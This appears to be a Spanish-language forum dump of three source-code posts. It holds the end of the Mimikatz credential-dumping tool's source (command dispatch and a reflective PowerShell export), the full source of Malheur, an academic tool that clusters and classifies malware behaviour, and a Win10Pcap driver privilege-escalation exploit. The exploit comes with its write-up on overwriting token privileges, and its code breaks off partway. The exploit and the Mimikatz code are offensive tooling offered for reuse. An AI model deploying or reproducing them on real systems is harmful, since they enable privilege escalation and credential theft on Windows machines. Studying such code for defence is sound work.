                                kprintf(L">>> %s of \'%s\' module failed : %08x\n", (Init ? L"INIT" : L"CLEAN"), mimikatz_modules[indexModule]->shortName, fStatus);
                }
        }

        if(!Init)
        {
                kull_m_busylight_stop();
                kull_m_output_file(NULL);
        }
        return STATUS_SUCCESS;
}

NTSTATUS mimikatz_dispatchCommand(wchar_t * input)
{
        NTSTATUS status;
        switch(input[0])
        {
        case L'!':
                status = kuhl_m_kernel_do(input + 1);
                break;
        default:
                status = mimikatz_doLocal(input);
        }
        return status;
}

NTSTATUS mimikatz_doLocal(wchar_t * input)
{
        NTSTATUS status = STATUS_SUCCESS;
        int argc;
        wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
        unsigned short indexModule, indexCommand;
        BOOL moduleFound = FALSE, commandFound = FALSE;
       
        if(argv && (argc > 0))
        {
                if(match = wcsstr(argv[0], L"::"))
                {
                        if(module = (wchar_t *) LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t)))
                        {
                                if((unsigned int) (match + 2 - argv[0]) < wcslen(argv[0]))
                                        command = match + 2;
                                RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t));
                        }
                }
                else command = argv[0];

                for(indexModule = 0; !moduleFound && (indexModule < ARRAYSIZE(mimikatz_modules)); indexModule++)
                        if(moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0)))
                                if(command)
                                        for(indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++)
                                                if(commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0)
                                                        status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);

                if(!moduleFound)
                {
                        PRINT_ERROR(L"\"%s\" module not found !\n", module);
                        for(indexModule = 0; indexModule < ARRAYSIZE(mimikatz_modules); indexModule++)
                        {
                                kprintf(L"\n%16s", mimikatz_modules[indexModule]->shortName);
                                if(mimikatz_modules[indexModule]->fullName)
                                        kprintf(L"  -  %s", mimikatz_modules[indexModule]->fullName);
                                if(mimikatz_modules[indexModule]->description)
                                        kprintf(L"  [%s]", mimikatz_modules[indexModule]->description);
                        }
                        kprintf(L"\n");
                }
                else if(!commandFound)
                {
                        indexModule -= 1;
                        PRINT_ERROR(L"\"%s\" command of \"%s\" module not found !\n", command, mimikatz_modules[indexModule]->shortName);

                        kprintf(L"\nModule :\t%s", mimikatz_modules[indexModule]->shortName);
                        if(mimikatz_modules[indexModule]->fullName)
                                kprintf(L"\nFull name :\t%s", mimikatz_modules[indexModule]->fullName);
                        if(mimikatz_modules[indexModule]->description)
                                kprintf(L"\nDescription :\t%s", mimikatz_modules[indexModule]->description);
                        kprintf(L"\n");

                        for(indexCommand = 0; indexCommand < mimikatz_modules[indexModule]->nbCommands; indexCommand++)
                        {
                                kprintf(L"\n%16s", mimikatz_modules[indexModule]->commands[indexCommand].command);
                                if(mimikatz_modules[indexModule]->commands[indexCommand].description)
                                        kprintf(L"  -  %s", mimikatz_modules[indexModule]->commands[indexCommand].description);
                        }
                        kprintf(L"\n");
                }

                if(module)
                        LocalFree(module);
                LocalFree(argv);
        }
        return status;
}

#ifdef _WINDLL
__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input)
{
        int argc = 0;
        wchar_t ** argv;
       
        if(argv = CommandLineToArgvW(input, &argc))
        {
                outputBufferElements = 0xff;
                outputBufferElementsPosition = 0;
                if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements))
                        wmain(argc, argv);
                LocalFree(argv);
        }
        return outputBuffer;
}
#endif

mimikatz.h

Código:

/*        Benjamin DELPY `gentilkiwi`
        http://blog.gentilkiwi.com
        benjamin@gentilkiwi.com
        Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once

#include "globals.h"
#include "modules/kuhl_m_standard.h"
#include "modules/kuhl_m_crypto.h"
#include "modules/sekurlsa/kuhl_m_sekurlsa.h"
#include "modules/kerberos/kuhl_m_kerberos.h"
#include "modules/kuhl_m_process.h"
#include "modules/kuhl_m_service.h"
#include "modules/kuhl_m_privilege.h"
#include "modules/kuhl_m_lsadump.h"
#include "modules/kuhl_m_ts.h"
#include "modules/kuhl_m_event.h"
#include "modules/kuhl_m_misc.h"
#include "modules/kuhl_m_token.h"
#include "modules/kuhl_m_vault.h"
#include "modules/kuhl_m_minesweeper.h"
#ifdef NET_MODULE
#include "modules/kuhl_m_net.h"
#endif
#include "modules/dpapi/kuhl_m_dpapi.h"
#include "modules/kuhl_m_kernel.h"
#include "../modules/kull_m_busylight.h"

#include <io.h>
#include <fcntl.h>

extern VOID WINAPI RtlGetNtVersionNumbers(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);

int wmain(int argc, wchar_t * argv[]);

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);

NTSTATUS mimikatz_initOrClean();

NTSTATUS mimikatz_doLocal(wchar_t * input);
NTSTATUS mimikatz_dispatchCommand(wchar_t * input);

#ifdef _WINDLL
__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input);
#endif




uploaded.net - [code] Mimikatz 2.0 alpha

[C] Malheur: Análisis de malware

$
0
0


Cuando nos enfrentamos al análisis de códigos maliciosos tenemos múltiples herramientas y métodos para obtener información sobre el comportamiento de una muestra en particular. Pero cuando queremos determinar patrones de comportamiento entre varias muestras o encontrar semejanzas u otras características que puedan ser comunes, debemos pasar a utilizar algoritmos de machine learning que nos permitan este tipo de análisis.

El equipo de investigación en Computer Security de la universidad alemana de Göttingen desarrollaron Malheur, una herramienta bastante interesante desarrollada en lenguaje C que a partir de los resultados de análisis dinámicos de muestras de códigos maliciosos permite descubrir y clasificar el malware en diferentes clases utilizando algoritmos de aprendizaje automático. Como característica adicional, Malheur tiene algunas funciones para integrarse con entornos basados en Matlab.

Funciones
  • Extracción de prototipos: a partir de un determinado conjunto de informes, Malheur identifica a un subgrupo de los prototipos representativos dentro del conjunto de datos obtenido. Los prototipos ofrecen una visión general del comportamiento registrado y se pueden utilizar para guiarnos en la inspección manual.
  • Clustering del comportamiento: Malheur identifica automáticamente los grupos (clusters) de los informes que contienen un comportamiento similar. El clustering permite descubrir nuevas clases de malware y proporciona la base para la elaboración de la detección específica y la elaboración de mecanismos de defensa, tales como las firmas de antivirus.
  • Clasificación del comportamiento: sobre la base de un conjunto de informes previamente agrupados, Malheur es capaz de asignar comportamientos desconocidos a grupos conocidos de malware. Esta clasificación permite la identificación de nuevas variantes de malware y puede ser utilizada para filtrar el comportamiento del programa antes de la inspección manual.
  • Análisis incremental: Malheur se puede aplicar de forma incremental para el análisis de grandes conjuntos de datos. Mediante el procesamiento de informes divididos en trozos, los requisitos de memoria y el tiempo de ejecución se reducen significativamente. Esto hace factible los análisis a lo largo del tiempo, por ejemplo para el análisis diario de malware.
Codigo Fuente

malheur.c

Código:

/*
 * MALHEUR - Automatic Analysis of Malware Behavior
 * Copyright (c) 2009-2015 Konrad Rieck (konrad@mlsec.org)
 * University of Goettingen, Berlin Institute of Technology
 * --
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the
 * Free Software Foundation; either version 3 of the License, or (at your
 * option) any later version.  This program is distributed without any
 * warranty. See the GNU General Public License for more details.
 * --
 */

#include "config.h"
#include "malheur.h"
#include "common.h"
#include "mconfig.h"
#include "ftable.h"
#include "fmath.h"
#include "proto.h"
#include "util.h"
#include "cluster.h"
#include "class.h"
#include "export.h"

/* Global variables */
int verbose = 0;
config_t cfg;

static int print_conf = FALSE;
static char **input_files = NULL;
static int input_len = 0;
static int reset = FALSE;
static int save = TRUE;
static char *fvec_dump = NULL;
static malheur_action_t action = PROTOTYPE;
static malheur_state_t mstate;

/* Option string */
#define OPTSTRING      "no:c:s:hvVDC"

/**
 * Array of options of getopt_long()
 */
static struct option longopts[] = {
    {"reset", 0, NULL, 1001},
    {"dry", 0, NULL, 'n'},
    {"verbose", 0, NULL, 'v'},
    {"version", 0, NULL, 'V'},
    {"help", 0, NULL, 'h'},
    {"fvec_dump", 1, NULL, 1002},
    {"print_config", 0, NULL, 'C'},
    {"print_defaults", 0, NULL, 'D'},
    {"help", 0, NULL, 'h'},
    {"output_file", 1, NULL, 'o'},
    {"state_dir", 1, NULL, 's'},
    {NULL}
};

/**
 * Print usage of command line tool
 * @param argc Number of arguments
 * @param argv Argument values
 */
static void print_usage(void)
{
    printf("Usage: malheur [options] <action> <dataset>\n"
          "\nActions:\n"
          "  distance      Compute distance matrix for malware reports\n"
          "  prototype      Extract prototypes from malware reports\n"
          "  protodist      Compute distance matrix for prototypes\n"
          "  cluster        Cluster malware reports into similar groups\n"
          "  classify      Classify malware reports using labeled prototypes\n"
          "  increment      Incremental analysis of malware reports\n"
          "  info          Print information about internal state of Malheur\n"
          "\nOptions:\n"
          "  -s,  --state_dir <dir>      Set directory for internal state.\n"
          "  -o,  --output_file <file>    Set output file for analysis results.\n"
          "  -c,  --config_file <file>    Set configuration file.\n"
          "  -n,  --dry                  Dry run. Don't change internal state.\n"
          "      --reset                Reset internal state of Malheur.\n"
          "      --fvec_dump <file>      Dump feature vectores in LibSVM format.\n"
          "  -C,  --print_config          Print the current configuration.\n"
          "  -D,  --print_defaults        Print the default configuration.\n"
          "  -v,  --verbose              Increase verbosity.\n"
          "  -V,  --version              Print version and copyright.\n"
          "  -h,  --help                  Print this help screen.\n"
          "\nSee manual page malheur(1) for more information.\n");
}

/**
 * Print configuration
 * @param msg Text to add to output
 */
static void print_config(char *msg)
{
    malheur_version(stderr);
    fprintf(stderr, "# ---\n# %s\n", msg);
    config_fprint(stderr, &cfg);
}


/**
 * Parse command line options
 * @param argc Number of arguments
 * @param argv Argument values
 */
static void malheur_parse_options(int argc, char **argv)
{
    int ch;

    /* reset getopt */
    optind = 0;

    while ((ch = getopt_long(argc, argv, OPTSTRING, longopts, NULL)) != -1) {
        switch (ch) {
        case 'c':
            /* Empty. See malheur_load_config() */
            break;
        case 'n':
            save = FALSE;
            break;
        case 1001:
            reset = TRUE;
            break;
        case 'v':
            verbose++;
            break;
        case 's':
            config_set_string(&cfg, "generic.state_dir", optarg);
            break;
        case 'o':
            config_set_string(&cfg, "generic.output_file", optarg);
            break;
        case 1002:
            fvec_dump = optarg;
            break;
        case 'V':
            malheur_version(stdout);
            exit(EXIT_SUCCESS);
            break;
        case 'D':
            print_config("Default configuration");
            exit(EXIT_SUCCESS);
            break;
        case 'C':
            print_conf = TRUE;
            break;
        case 'h':
        case '?':
            print_usage();
            exit(EXIT_SUCCESS);
            break;
        }
    }

    /* Check configuration */
    if (!config_check(&cfg)) {
        exit(EXIT_FAILURE);
    }

    /* We are through with parsing. Print the config if requested */
    if (print_conf) {
        print_config("Current configuration");
        exit(EXIT_SUCCESS);
    }

    argc -= optind;
    argv += optind;

    if (argc < 1)
        fatal("the <action> argument is required");

    /* Argument: action */
    if (!strcasecmp(argv[0], "prototype")) {
        action = PROTOTYPE;
    } else if (!strcasecmp(argv[0], "distance")) {
        action = DISTANCE;
    } else if (!strcasecmp(argv[0], "cluster")) {
        action = CLUSTER;
    } else if (!strcasecmp(argv[0], "classify")) {
        action = CLASSIFY;
    } else if (!strcasecmp(argv[0], "increment")) {
        action = INCREMENT;
    } else if (!strcasecmp(argv[0], "protodist")) {
        action = PROTODIST;
    } else if (!strcasecmp(argv[0], "info")) {
        action = INFO;
    } else {
        fatal("Unknown analysis action '%s'", argv[0]);
    }


    if (argc < 2 && action != PROTODIST && action != INFO)
        fatal("the <dataset> argument is required");

    /* Assign input files */
    input_files = argv + 1;
    input_len = argc - 1;
}

/**
 * Load configuration
 * @param argc Number of arguments
 * @param argv Argument values
 */
static void malheur_load_config(int argc, char **argv)
{
    char *cfg_file = NULL;
    int ch;

    /* Check for config file in command line */
    while ((ch = getopt_long(argc, argv, OPTSTRING, longopts, NULL)) != -1) {
        switch (ch) {
        case 'c':
            cfg_file = optarg;
            break;
        case 'h':
        case '?':
            print_usage();
            exit(EXIT_SUCCESS);
            break;
        default:
            /* empty */
            break;
        }
    }

    /* Init and load configuration */
    config_init(&cfg);

    if (cfg_file != NULL) {
        if (config_read_file(&cfg, cfg_file) != CONFIG_TRUE)
            fatal("Could not read configuration (%s in line %d)",
                  config_error_text(&cfg), config_error_line(&cfg));
    }

    /* Check configuration and set defaults */
    if (!config_check(&cfg)) {
        exit(EXIT_FAILURE);
    }

}


/**
 * Initialize malheur tool
 */
static void malheur_init()
{
    const char *state_dir;
    double shared;

    /* Init feature lookup table */
    config_lookup_float(&cfg, "cluster.shared_ngrams", &shared);
    if (shared > 0.0) {
        ftable_init();
    }

    /* Reset internal state */
    memset(&mstate, 0, sizeof(mstate));
    config_lookup_string(&cfg, "generic.state_dir", &state_dir);

    /* Create directory if not available */
    if (access(state_dir, W_OK)) {
        if (verbose > 0)
            printf("Creating state directory '%s'\n", state_dir);
        mkdir(state_dir, 0700);
    }

    /* Print configuration */
    if (verbose > 1)
        config_print(&cfg);
}


/**
 * Loads data from archives/directories into feature vectors
 * @return array of feature vectors
 */
static farray_t *malheur_load()
{
    farray_t *fa = NULL;
    for (int i = 0; i < input_len; i++) {
        /* Argument: Input */
        if (access(input_files[i], R_OK)) {
            warning("Could not access '%s'", input_files[i]);
            continue;
        }

        farray_t *f = farray_extract(input_files[i]);
        if (f) {
            fa = farray_merge(fa, f);
        }
    }

    if (!fa)
        fatal("No data available.");

    /* Dump feature vectors to file */
    if (fvec_dump)
        farray_save_libsvm_file(fa, fvec_dump);

    return fa;
}

/**
 * Saves the internal Malheur state. The state is used during incremental
 * analysis to distinguig clusters obtained during different runs
 * @param run Current run of analysis
 * @param proto Number of prototypes
 * @param rej Number of rejected reports
 */
static void malheur_save_state()
{
    FILE *f;
    const char *state_dir;
    char state_file[512];

    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(state_file, 512, "%s/%s", state_dir, STATE_FILE);

    if (verbose > 0)
        printf("Saving internal state to '%s'.\n", state_file);

    f = fopen(state_file, "w");
    if (!f) {
        error("Could not open state file '%s'.", state_file);
        return;
    }

    fprintf(f, "run = %u\nprototypes = %u\nrejected = %u\n",
            mstate.run, mstate.num_proto, mstate.num_reject);

    fclose(f);
}

/**
 * Loads the internal Malheur state. The state is used during incremental
 * analysis to distinguig clusters obtained during different runs
 */
static int malheur_load_state()
{
    const char *state_dir;
    char state_file[512];
    FILE *f;
    int ret;

    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(state_file, 512, "%s/%s", state_dir, STATE_FILE);

    if (access(state_file, R_OK))
        return FALSE;

    if (verbose > 0)
        printf("Loading internal state to '%s'.\n", state_file);

    f = fopen(state_file, "r");
    if (!f) {
        error("Could not open state file '%s'.", state_file);
        return FALSE;
    }

    ret = fscanf(f, "run = %u\nprototypes = %u\nrejected = %u\n",
                &mstate.run, &mstate.num_proto, &mstate.num_reject);

    if (ret != 3) {
        error("Could not parse state file '%s'.", state_file);
        return FALSE;
    }

    fclose(f);
    return TRUE;
}

/**
 * Determines prototypes for the given malware reports
 */
static void malheur_prototype()
{
    assign_t *as;
    farray_t *fa, *pr;
    const char *state_dir, *output_file;
    char proto_file[512];

    config_lookup_string(&cfg, "generic.output_file", &output_file);
    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(proto_file, 512, "%s/%s", state_dir, PROTO_FILE);

    /* Load data */
    fa = malheur_load();

    /* Extract prototypes */
    pr = proto_extract(fa, &as);
    if (verbose > 1)
        farray_print(pr);

    /* Save prototypes */
    if (save)
        farray_save_file(pr, proto_file);

    /* Export prototypes */
    export_proto(pr, fa, as, output_file);

    /* Clean up */
    assign_destroy(as);
    farray_destroy(pr);
    farray_destroy(fa);
}

/**
 * Clusters the given malware reports
 */
static void malheur_cluster()
{
    assign_t *as;
    farray_t *fa, *pr, *pn, *re;
    const char *state_dir, *output_file;
    char proto_file[512], reject_file[512];

    config_lookup_string(&cfg, "generic.output_file", &output_file);
    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(proto_file, 512, "%s/%s", state_dir, PROTO_FILE);
    snprintf(reject_file, 512, "%s/%s", state_dir, REJECT_FILE);

    /* Load data */
    fa = malheur_load();

    /* Extract prototypes */
    pr = proto_extract(fa, &as);

    /* Cluster prototypes and extrapolate */
    cluster_t *c = cluster_linkage(pr, 0);
    cluster_extrapolate(c, as);
    cluster_trim(c);

    /* Save prototypes */
    pn = cluster_get_prototypes(c, as, pr);
    if (save)
        farray_save_file(pn, proto_file);
    farray_destroy(pn);

    /* Save rejected feature vectors */
    re = cluster_get_rejected(c, fa);
    if (save)
        farray_save_file(re, reject_file);
    farray_destroy(re);

    /* Export clustering */
    export_cluster(c, pr, fa, as, output_file);

    /* Export shared n-grams */
    export_shared_ngrams(c, fa, output_file);

    /* Clean up */
    cluster_destroy(c);
    assign_destroy(as);
    farray_destroy(pr);
    farray_destroy(fa);
}

/**
 * Classify the given malware reports
 */
static void malheur_classify()
{
    assign_t *as;
    farray_t *fa, *pr, *re;
    const char *state_dir, *output_file;
    char proto_file[512], reject_file[512];

    config_lookup_string(&cfg, "generic.output_file", &output_file);
    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(proto_file, 512, "%s/%s", state_dir, PROTO_FILE);
    snprintf(reject_file, 512, "%s/%s", state_dir, REJECT_FILE);

    /* Check for prototype file */
    if (access(proto_file, R_OK))
        fatal("No prototype file for classifcation available");

    /* Load data */
    fa = malheur_load();

    /* Load prototypes */
    pr = farray_load_file(proto_file);

    /* Apply classification */
    as = class_assign(fa, pr);

    /* Save rejected feature vectors */
    re = class_get_rejected(as, fa);
    if (save)
        farray_save_file(re, reject_file);
    farray_destroy(re);

    /* Export classification */
    export_class(pr, fa, as, output_file);

    /* Clean up */
    assign_destroy(as);
    farray_destroy(pr);
    farray_destroy(fa);
}

/**
 * Classify the given malware reports
 */
static void malheur_increment()
{
    farray_t *pr = NULL, *tmp, *pn, *re;
    assign_t *as;
    const char *state_dir, *output_file;
    char proto_file[512], reject_file[512];

    config_lookup_string(&cfg, "generic.output_file", &output_file);
    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(proto_file, 512, "%s/%s", state_dir, PROTO_FILE);
    snprintf(reject_file, 512, "%s/%s", state_dir, REJECT_FILE);

    /* Load internal state */
    malheur_load_state();

    /* Load data including rejected stuff */
    farray_t *fa = malheur_load();
    if (!access(reject_file, F_OK)) {
        tmp = farray_load_file(reject_file);
        fa = farray_merge(fa, tmp);
    }

    /* Classification */
    if (!access(proto_file, R_OK)) {
        pr = farray_load_file(proto_file);

        /* Apply classification */
        as = class_assign(fa, pr);
        tmp = class_get_rejected(as, fa);

        /* Export results */
        export_increment1(pr, fa, as, output_file);

        /* Clean up */
        farray_destroy(fa);
        farray_destroy(pr);
        assign_destroy(as);
        fa = tmp;
    } else {
        /* Export results */
        export_increment1(pr, fa, as, output_file);
    }

    /* Extract prototypes */
    pr = proto_extract(fa, &as);

    /* Cluster prototypes and extrapolate */
    cluster_t *c = cluster_linkage(pr, mstate.run + 1);
    cluster_extrapolate(c, as);
    cluster_trim(c);

    /* Save prototypes vectors */
    pn = cluster_get_prototypes(c, as, pr);
    if (save)
        farray_append_file(pn, proto_file);

    /* Save rejeted feature vectors */
    re = cluster_get_rejected(c, fa);
    if (save)
        farray_save_file(re, reject_file);

    /* Update state */
    mstate.run++;
    mstate.num_proto = pn->len;
    mstate.num_reject = re->len;

    /* Save state */
    if (save)
        malheur_save_state();

    /* Export results */
    export_increment2(c, pr, fa, as, output_file);

    /* Clean up */
    cluster_destroy(c);
    assign_destroy(as);

    farray_destroy(re);
    farray_destroy(pn);
    farray_destroy(pr);
    farray_destroy(fa);
}

/**
 * Display information about internal state of Malheur
 */
static void malheur_info()
{
    const char *state_dir;
    char state_file[512];

    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(state_file, 512, "%s/%s", state_dir, STATE_FILE);

    /* Load internal state */
    if (!malheur_load_state()) {
        printf("No internal state stored in %s\n", state_dir);
        return;
    }

    printf("Internal state from %s\n", state_file);
    printf("      Malheur run: %u\n", mstate.run);
    printf(" Stored prototypes: %u\n", mstate.num_proto);
    printf("  Rejected reports: %u\n", mstate.num_reject);

}

/**
 * Computes a distance matrix and saves the result to a file
 */
static void malheur_distance()
{
    const char *output_file;
    config_lookup_string(&cfg, "generic.output_file", &output_file);

    /* Load data */
    farray_t *fa = malheur_load();

    /* Allocate distance matrix */
    double *d = malloc(fa->len * fa->len * sizeof(double));
    if (!d)
        fatal("Could not allocate similarity matrix");

    /* Compute distance matrix */
    farray_dist(fa, fa, d);

    /* Save distance matrix */
    export_dist(d, fa, output_file);

    /* Clean up */
    free(d);
    farray_destroy(fa);
}

/**
 * Computes a distance matrix for the prototypes and saves the result to a file
 */
static void malheur_protodist()
{
    farray_t *pr;
    const char *state_dir, *output_file;
    char proto_file[512];

    config_lookup_string(&cfg, "generic.output_file", &output_file);
    config_lookup_string(&cfg, "generic.state_dir", &state_dir);
    snprintf(proto_file, 512, "%s/%s", state_dir, PROTO_FILE);

    /* Check for prototype file */
    if (access(proto_file, R_OK))
        fatal("No prototype file for classifcation available");

    /* Load prototypes */
    pr = farray_load_file(proto_file);
    if (verbose > 1)
        farray_print(pr);

    /* Allocate distance matrix */
    double *d = malloc(pr->len * pr->len * sizeof(double));
    if (!d)
        fatal("Could not allocate similarity matrix");

    /* Compute distance matrix */
    farray_dist(pr, pr, d);

    /* Save distance matrix */
    export_dist(d, pr, output_file);

    /* Clean up */
    free(d);
    farray_destroy(pr);
}

/**
 * Exits the malheur tool.
 */
static void malheur_exit()
{
    /* Destroy feature lookup table */
    if (verbose > 0)
        ftable_print();
    ftable_destroy();

    /* Destroy configuration */
    config_destroy(&cfg);
}

/**
 * Main function of Malheur
 * @param argc Number of arguments
 * @param argv Argument values
 * @return Exit code
 */
int main(int argc, char **argv)
{

    malheur_load_config(argc, argv);
    malheur_parse_options(argc, argv);
    malheur_init();

    /* Perform action */
    switch (action) {
    case DISTANCE:
        malheur_distance();
        break;
    case PROTOTYPE:
        malheur_prototype();
        break;
    case CLUSTER:
        malheur_cluster();
        break;
    case CLASSIFY:
        malheur_classify();
        break;
    case INCREMENT:
        malheur_increment();
        break;
    case PROTODIST:
        malheur_protodist();
        break;
    case INFO:
        malheur_info();
    }

    malheur_exit();
    return EXIT_SUCCESS;
}

malheur.h

Código:

/*
 * MALHEUR - Automatic Analysis of Malware Behavior
 * Copyright (c) 2009-2015 Konrad Rieck (konrad@mlsec.org)
 * University of Goettingen, Berlin Institute of Technology
 * --
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the
 * Free Software Foundation; either version 3 of the License, or (at your
 * option) any later version.  This program is distributed without any
 * warranty. See the GNU General Public License for more details.
 * --
 */

#ifndef MALHEUR_H
#define MALHEUR_H

/* Operation actions of Malheur  */
typedef enum {
    DISTANCE, PROTOTYPE, CLUSTER, CLASSIFY, INCREMENT, PROTODIST, INFO
} malheur_action_t;

/* Output file */
#define OUTPUT_FILE        "malheur.out"

/* Local malheur files */
#define REJECT_FILE        "rejected.zfa"
#define PROTO_FILE          "prototypes.zfa"
#define STATE_FILE          "malheur.state"

typedef struct {
    unsigned int run;                    /* Current run */
    unsigned int num_proto;              /* Number of prototype reports */
    unsigned int num_reject;            /* Number of rejected reports */
} malheur_state_t;

/* Libconfig macros */
#define config_set_string(c,x,s) \
      config_setting_set_string(config_lookup(c,x),s)
#define config_set_int(c,x,s) \
      config_setting_set_int(config_lookup(c,x),s)
#define config_set_float(c,x,s) \
      config_setting_set_float(config_lookup(c,x),s)

#endif                          /* MALHEUR_H */




uploaded.net - [code] Malheur: Análisis de malware

[C++] Win10Pcap Exploit: Local Privilege escalation

$
0
0
Código:

########################################################################################
########################################################################################
#+-
#+- Exploit Title: Exploit Win10Pcap Driver
#+- Contact: https://twitter.com/R00tkitSMM (firozimaysam@gmail.com) #+- telegram username : https://telegram.me/firozi
#+- Release Date: 2015-10-14
#+- 
########################################################################################
########################################################################################

Información (Readme)

Código:

some day ago i found vulnerability in win10pcap Driver that can lead to Privilege escalation i report vulnerability and now bug is fixed :

www.win10pcap.org/download/

so i decide to publish sample exploit

Win10Pcap is a new WinPcap-based Ethernet packet capture library. Unlike original WinPcap, Win10Pcap is compatible with NDIS 6.x driver model to work stably with Windows 10. Win10Pcap also supports capturing IEEE802.1Q VLAN tags.

so if you install wireshark on window 10 you need this shit :)

Win10Pcap kernel-mode driver did not check the virtual addresses which are passed from the user-mode , IOCTL Using Neither Buffered Nor Direct I/O without ProbeForWrite to validating passed address

you need find accurate Device name in runtime to send IOCTL , hardcoded device name dont lead to vulnerable code

IOCTL handller write a string in passed address , string is something like "Global\WTCAP_EVENT_3889023063_1"

ther was many way to exploit this vulnerability i decide to set privilege in process TOKEN with overwriting _SEP_TOKEN_PRIVILEGES

overwriting token at address 0x034 with string "Global\WTCAP_EVENT" can set SeDebugPrivilege without corrupting sensitive Filds

81687cf8 cc              int    3
2: kd> dt nt!_TOken
  +0x000 TokenSource      : _TOKEN_SOURCE
  +0x010 TokenId          : _LUID
  +0x018 AuthenticationId : _LUID
  +0x020 ParentTokenId    : _LUID
  +0x028 ExpirationTime  : _LARGE_INTEGER
  +0x030 TokenLock        : Ptr32 _ERESOURCE
  +0x034 ModifiedId      : _LUID
  +0x040 Privileges      : _SEP_TOKEN_PRIVILEGES
  +0x058 AuditPolicy      : _SEP_AUDIT_POLICY

Codigo

Código:

#include <stdio.h>
#include <tchar.h>
#include<Windows.h>
#include<stdio.h>
#include <winternl.h>
#include <intrin.h>
#include <psapi.h>
#include <strsafe.h>
#include <assert.h>

#define        SL_IOCTL_GET_EVENT_NAME                CTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS)
#define STATUS_SUCCESS                                        ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH                ((NTSTATUS)0xc0000004L)

/* found with :
!token
1: kd> dt nt!_OBJECT_HEADER
  +0x000 PointerCount    : Int4B
  +0x004 HandleCount      : Int4B
  +0x004 NextToFree      : Ptr32 Void
  +0x008 Lock            : _EX_PUSH_LOCK
  +0x00c TypeIndex        : UChar
  +0x00d TraceFlags      : UChar
  +0x00e InfoMask        : UChar
  +0x00f Flags            : UChar
  +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
  +0x010 QuotaBlockCharged : Ptr32 Void
  +0x014 SecurityDescriptor : Ptr32 Void
  +0x018 Body            : _QUAD
TypeIndex is 0x5
*/
#define HANDLE_TYPE_TOKEN                                0x5


// Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation
const SYSTEM_INFORMATION_CLASS SystemHandleInformation =
(SYSTEM_INFORMATION_CLASS)16;

// The NtQuerySystemInformation function and the structures that it returns
// are internal to the operating system and subject to change from one
// release of Windows to another. To maintain the compatibility of your
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)(
        IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
        OUT PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        OUT PULONG ReturnLength OPTIONAL
        );

// Undocumented structure: SYSTEM_HANDLE_INFORMATION
typedef struct _SYSTEM_HANDLE
{
        ULONG ProcessId;
        UCHAR ObjectTypeNumber;
        UCHAR Flags;
        USHORT Handle;
        PVOID Object;
        ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
        ULONG NumberOfHandles;
        SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


// Undocumented FILE_INFORMATION_CLASS: FileNameInformation
const FILE_INFORMATION_CLASS FileNameInformation =
(FILE_INFORMATION_CLASS)9;

// The NtQueryInformationFile function and the structures that it returns
// are internal to the operating system and subject to change from one
// release of Windows to another. To maintain the compatibility of your
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)(
        IN HANDLE FileHandle,
        OUT PIO_STATUS_BLOCK IoStatusBlock,
        OUT PVOID FileInformation,
        IN ULONG Length,
        IN FILE_INFORMATION_CLASS FileInformationClass
        );

// FILE_NAME_INFORMATION contains name of queried file object.
typedef struct _FILE_NAME_INFORMATION {
        ULONG FileNameLength;
        WCHAR FileName[1];
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;


void* FindTokenAddressHandles(ULONG pid)
{
        /////////////////////////////////////////////////////////////////////////
        // Prepare for NtQuerySystemInformation and NtQueryInformationFile.
        //

        // The functions have no associated import library. You must use the
        // LoadLibrary and GetProcAddress functions to dynamically link to
        // ntdll.dll.

        HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll"));
        assert(hNtDll != NULL);

        PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation =
                (PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,
                "NtQuerySystemInformation");
        assert(NtQuerySystemInformation != NULL);


        /////////////////////////////////////////////////////////////////////////
        // Get system handle information.
        //

        DWORD nSize = 4096, nReturn;
        PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)
                HeapAlloc(GetProcessHeap(), 0, nSize);

        // NtQuerySystemInformation does not return the correct required buffer
        // size if the buffer passed is too small. Instead you must call the
        // function while increasing the buffer size until the function no longer
        // returns STATUS_INFO_LENGTH_MISMATCH.
        while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo,
